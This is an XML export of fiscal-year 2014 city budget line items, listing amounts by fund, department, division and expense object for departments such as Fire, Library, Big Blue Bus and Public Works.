<row _id="4797"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3120.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3120.0</total></row>
<row _id="4798"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4593.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4593.0</total></row>
<row _id="4799"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>226.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>226.0</total></row>
<row _id="4800"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544220.0</object><object_description>REPAIR PARTS AND MATERIALS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1178929.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1178929.0</total></row>
<row _id="4801"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3700.0</total></row>
<row _id="4802"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="4803"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4200.0</total></row>
<row _id="4804"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>69697.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>69697.0</total></row>
<row _id="4805"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3510258.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3510258.0</total></row>
<row _id="4806"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4807"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="4808"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="4809"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>107.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>107.0</total></row>
<row _id="4810"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7180.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7180.0</total></row>
<row _id="4811"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>409.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>409.0</total></row>
<row _id="4812"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10550.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10550.0</total></row>
<row _id="4813"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>566550.0</object><object_description>COMMUNITY FESTIVALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>14010.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14010.0</total></row>
<row _id="4814"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1536.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1536.0</total></row>
<row _id="4815"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8087.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8087.0</total></row>
<row _id="4816"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9369.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9369.0</total></row>
<row _id="4817"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
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<row _id="4904"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533180.0</object><object_description>TRANSFER STATION OPERATIONS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19000.0</total></row>
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<row _id="4920"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4921"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3600.0</total></row>
<row _id="4922"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>564.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>564.0</total></row>
<row _id="4923"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5361.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5361.0</total></row>
<row _id="4924"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>136507.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>136507.0</total></row>
<row _id="4925"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544030.0</object><object_description>BADGE / AWARD / NAME PLATES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2143.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2143.0</total></row>
<row _id="4926"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522930.0</object><object_description>VEHICLES - TIRES / TUBES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5437.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5437.0</total></row>
<row _id="4927"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>143288.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>143288.0</total></row>
<row _id="4928"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>588050.0</object><object_description>FIRE SUPPRESSION EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>39729.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>39729.0</total></row>
<row _id="4929"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1471744.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1471744.0</total></row>
<row _id="4930"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555017.0</object><object_description>OUTSIDE REPAIRS - BUS EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1230.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1230.0</total></row>
<row _id="4931"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5125.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5125.0</total></row>
<row _id="4932"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="4933"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11000.0</total></row>
<row _id="4934"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17400.0</total></row>
<row _id="4935"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2850.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2850.0</total></row>
<row _id="4936"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1995.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1995.0</total></row>
<row _id="4937"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3810.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3810.0</total></row>
<row _id="4938"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>285.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>285.0</total></row>
<row _id="4939"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533260.0</object><object_description>REPAIRS/IMPROVEMENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>65137.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>65137.0</total></row>
<row _id="4940"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1995.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1995.0</total></row>
<row _id="4941"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>70965.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>70965.0</total></row>
<row _id="4942"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>555050.0</object><object_description>BOOK BINDING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6147.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6147.0</total></row>
<row _id="4943"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5301551.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5301551.0</total></row>
<row _id="4944"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>64100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>64100.0</total></row>
